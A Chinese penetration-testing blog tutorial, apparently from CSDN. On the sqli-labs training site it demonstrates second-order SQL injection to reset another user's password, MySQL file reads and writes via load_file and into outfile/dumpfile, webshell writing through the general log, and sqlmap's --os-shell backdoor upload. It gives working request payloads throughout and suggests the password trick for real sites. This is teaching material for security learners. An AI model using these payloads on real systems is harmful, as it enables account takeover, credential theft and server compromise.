渗透测试---手把手教你SQL注入(6)---二次注入以及对getshell的总结与补充

二次注入的原理:

有的时候,"明面上"无论如何都找不到可利用的注入点,但是在某些场景中,尤其是创建用户并修改密码的过程中,我们可以针对程序的调用过程进行操作-----亦即,在数据库查询的过程中,需要调用已有的数据时,可能存在注入漏洞 (刚开始时没有注入点,但当我们人为地递交一些合法的数据后,可以利用这些数据进行注入,但是这种注入一般只能用于需改数据,能够获取数据的情景很少,这里提出二次注入的目的是拓展我们在SQL注入时的思路(o゜▽゜)o☆)

利用二次注入更改用户密码

以sqli-labs-master靶场第24关为例:

已知有一个账户为admin/admin 可以成功登陆:

发现成功登陆后有更改密码的选项,我们可以猜测在更改密码的过程中可能使用update语句来进行密码的更新:(猜测后台的MySQL语句可能像下面这样)

UPDATE users SET password='新密码' WHERE username='admin' AND password='admin'

那么如果现在我们另外创建一个新账户 admin'#  / 123321(当然了,在通常情况下,用户名中的单引号会被过滤掉,这时候就只能另寻他法了)

并对这个新创建的admin'# 进行更改密码的操作(将密码改为123456),后台的MySQL语句就会变成下面这样:

UPDATE users SET password='123456' WHERE username='admin'#' AND password='123321'

如此一来,由于#的存在,使得后边的 ' AND password='123321'被注释掉了实际上被修改的账户是原有的账户admin 而不是我们创建的admin'#  !!!

现在我们使用admin/admin登陆就会失败:

只能使用admin/123456来登陆:

 当然admin'# 的密码依旧是123321,没有被修改

在实战中,如果知道了用户名(比如luoyifang),而不知道密码,那么我们可以试着通过创建一个luoyifang'# / 123321的新账户,并修改luoyifang'#的密码为123456,来将原本luoyifang的密码改为123456 (原本不知道密码,通过这种方法把密码改为自己知道的)

MYSQL的GETSHELL:

利用SQL注入获取MYSQL数据库权限的要求:

文件读写:

基本要求:

1.需要root用户最高权限、

2.知道网站的绝对路径

3.secure_file_priv=为空,或者在网站根目录下,(即网站根目录为D:\www,且secure_file_priv=D:\www)

网站的绝对路径是指什么?

例如,一个网站的URL为:

http://192.168.xx.xx/sqli-labs-master/Less-11/

 而该网站在Windows服务器上的绝对路径就是:

C:\phpstudy2018\PHPTutorial\WWW\sqli-labs-master\Less-11

1、文件读写注入的原理

        就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

2、文件读写注入的条件

     高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

要想实现文件读写,secure_file_priv需要为空

关于secure_file_priv,可以参看往期文章:渗透测试---手把手教你SQL注入(4)--DNSLOG外带注入

 secure_file_priv选项的含义:

show global variables like '%secure%’查看mysql全局变量的配置
(1)secure_file_priv=
代表对文件读写没有限制 (只有这样才能进行读写)
(2)secure_file_priv=NULL
代表不能进行文件读写
(3)secure_file_priv=d :/phpstudy /mysql/data
代表只能对该路径下文件进行读写

网站常见的绝对路径: 

Windows系统:

1.PHPstudy

phpstudy/www

phpstudy/PHPTurial/www

2.Xamppxampp/htdocs
3.wampwamp/wwwl
4.Appserappser/www

LINUX系统:

/var/mysql/data/var/www/html

 路径获取常见方式:

报错显示,遗留文件,漏洞报错,平台配置文件

文件读写实例:

本实例中有关联合注入(union select)的知识请参看:

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)icon-default.png?t=N7T8http://t.csdnimg.cn/q32GK假设目标文件1.txt在目标服务器中的绝对路径为C:\samples\1.txt

以sqli-labs-master靶场Less-2为例:

读取文件:

GET /sqli-labs-master/
Less-2/?id=-1+union+
select+1,load_file('C:\\samples\\1.txt'),3--+ HTTP/1.1
union select 1,load_file('C:\\samples\\1.txt'),3--+
#load_file()读取文件函数
#后面的路径可以是单引号,ox,char转换的字符。注意:路径还可以使用C:/samples/1.txt。
#一般可以与union做为一个字段使用,借助load_file可以
查看config.php(即mysgl的密码),apache配置等

 得到的结果如下,成功读取到了1.txt文件中的内容"this is a test ":

<font size='5' color= '#99FF00'>
Your Login name:this is a test
<br>
Your Password:3
</font>

写入文件: 

向目标文件C:\sample\2.txt写入内容(注意,这里只能新建一个文件写入,不能写入已存在的文件1.txt):

GET /sqli-labs-master/
Less-2/?id=-1+union+select+1,'this+is+a+test+too',3
+into+outfile+'C:\\samples\\2.txt'--+
union select 1,'this is a test too',3 
into outfile 'C:\\samples\\2.txt'--+

#--+ 将后边的进行注释,使不得运行
#使用函数: into outfile(能写入多行,按格式输出)
 和       into Dumpfile(只能写入一行且没有输出格式)
#outfile后面不能接Ox开头或者char转换以后的路径,只能是单引号路径(不用加括号)

 C:\sample\2.txt中的内容:

大家可以试着往网站根目录中写入一个test.php文件,内容为<?php phpinfo();?>,看看访问test.php的时候是否会执行phpinfo():

网站根目录: C:\phpstudy2018\PHPTutorial\WWW

GET /sqli-labs-master/Less-2/?id=-1+
union+select+1,'<?php+phpinfo();?>',3+
into+outfile+'C:\\phpstudy2018\\PHPTutorial\\WWW\\test.php'--+ HTTP/1.1

 C:\phpstudy2018\PHPTutorial\WWW\test.php中的内容:

 写入文件时UNION联合注入用不了怎么办?

以向C:\samples\1.txt写入"this is a test"为例:

lines terminated by

select * from users where id=1 into outfile 'C:\samples\1.txt' lines terminated by 'this is a test';

lines starting by

select * from users where id=1 into outfile 'C:\samples\1.txt' lines starting by 'this is a test';

fields terminated by

select * from users where id=1 into outfile 'C:\samples\1.txt' fields terminated by 'this is a test';
COLUMNS terminated byselect * from users where id=1 into outfile 'C:\samples\1.txt' COLUMNS terminated by 'this is a test';

 outfile和dumpfile的区别

简单的说outfile写完会有脏数据,dumpfile可以做到没有脏数据,所以在写udf的时候是用dumpfile的:

现在我们用 into dumpfile 来试着写入test2.php:

GET /sqli-labs-master
/Less-2/?id=-1+union+select+1,'<?php+phpinfo();?>',3+
into+dumpfile+'C:\\phpstudy2018\\PHPTutorial\\WWW\\test2.php'--+

 可以发现,test2.php中没有多出来的空格了:

这个时候如果我们把union select的参数改为

将原来的1和3替换为空
union+select+'','<?php+phpinfo();?>',''+into+dumpfile

 这样test2.php中就没有多余的数据了


MYSQL的日志GETSHELL: 

MYSQL要想利用日志进行getshell,需要存在堆叠注入漏洞,因为我们需要利用这一漏洞来设置日志路径!

渗透测试---手把手教你SQL注入(5)---Cookie注入,宽字节注入与堆叠注入icon-default.png?t=N7T8http://t.csdnimg.cn/k4Sz4

前提条件:

首先查看数据库的日志状态:

mysql> show variables like "%general%";
+------------------+-----------------------------------------------------------+
| Variable_name    | Value                                                     |
+------------------+-----------------------------------------------------------+
| general_log      | OFF                                                       |
| general_log_file | D:\phpstudy_pro\Extensions\MySQL8.0.12\data\luoyifang.log |
+------------------+-----------------------------------------------------------+
2 rows in set, 1 warning (0.04 sec)

 然后开启日志:

mysql> set global general_log = on;
Query OK, 0 rows affected (0.01 sec)

最后修改日志路径(如果我们在攻击时不知道日志路径,我们就需要利用堆叠注入来人为地修改日志路径)(这里我们将日志路径修改到网站根目录下,并将其变为PHP文件)

mysql> set global general_log_file = 'D:\phpstudy_pro\www\666.php';
Query OK, 0 rows affected (0.01 sec)

 最终结果应该像下面这样:

mysql> show variables like "%general%";
+------------------+-----------------------------+
| Variable_name    | Value                       |
+------------------+-----------------------------+
| general_log      | ON                          |
| general_log_file | D:\phpstudy_pro\www\666.php |
+------------------+-----------------------------+
2 rows in set, 1 warning (0.00 sec)

接下来写入语句:

mysql> select '<?php phpinfo();?>';
+--------------------+
| <?php phpinfo();?> |
+--------------------+
| <?php phpinfo();?> |
+--------------------+
1 row in set (0.02 sec)

查看网站根目录下的666.php,发现写入的php语句被成功写入:

 访问成功,PHP语句被执行:

利用SQLMAP 的 --os-shell命令来进行文件读写:

上边所讲的都是手动注入的方式,这里为大家拓展一下如何使用SQLMAP工具来进行GETSHELL:

--os-shell命令的原理:

--os-shell就是使用udf提权获取WebShell。通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件

使用该命令的前提条件:

1、要求为DBA,--is-dba(phpstudy搭建的一般为DBA)

2、secure_file_priv没有具体值

3、知道网站的绝对路径

4、GPC为off,php主动转义的功能关闭

 靶场实战:

这里我们以sqli-labs-master靶场第一关为例:

PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master> 
python sqlmap.py -u http://192.168.43.53/sqli-labs-master/Less-1/?id=1 --os-shell

以下是SQLMAP执行过程中需要做的一些选择: 

which web application language does the web server support?
[1] ASP (default)  (这里要求选择网站使用的语言,选择4)      
[2] ASPX
[3] JSP
[4] PHP
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y
(是否要尝试找出网站根路径,选择是)
[15:18:29] [WARNING] unable to automatically retrieve the web server document root
(未能自动找出网站根目录)
what do you want to use for writable directory?
(这里需要我们手动输入网站根目录,选择2)
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths:(输入网站根目录)
 C:\phpstudy2018\PHPTutorial\WWW

 sqlmap执行完毕后,会在指定的网站根目录里生成两个随机命名的文件:

[15:19:33] [INFO] the file stager has been successfully uploaded on
 'C:/phpstudy2018/PHPTutorial/WWW/' - http://192.168.43.53:80/tmpujtvg.php
(这里sqlmap在网站根目录中生成了一个用于上传文件的文件---tmpujtvg.php)

[15:19:34] [INFO] the backdoor has been successfully uploaded on
 'C:/phpstudy2018/PHPTutorial/WWW/' - http://192.168.43.53:80/tmpbsnrs.php
(这里生成了一个用于执行系统命令的文件---tmpbsnrs.php)
(这两个生成的文件都是随机命名的)

我们来试着访问用上传文件的文件---tmpujtvg.php:

 通过后门文件执行系统命令:

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

洛一方

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值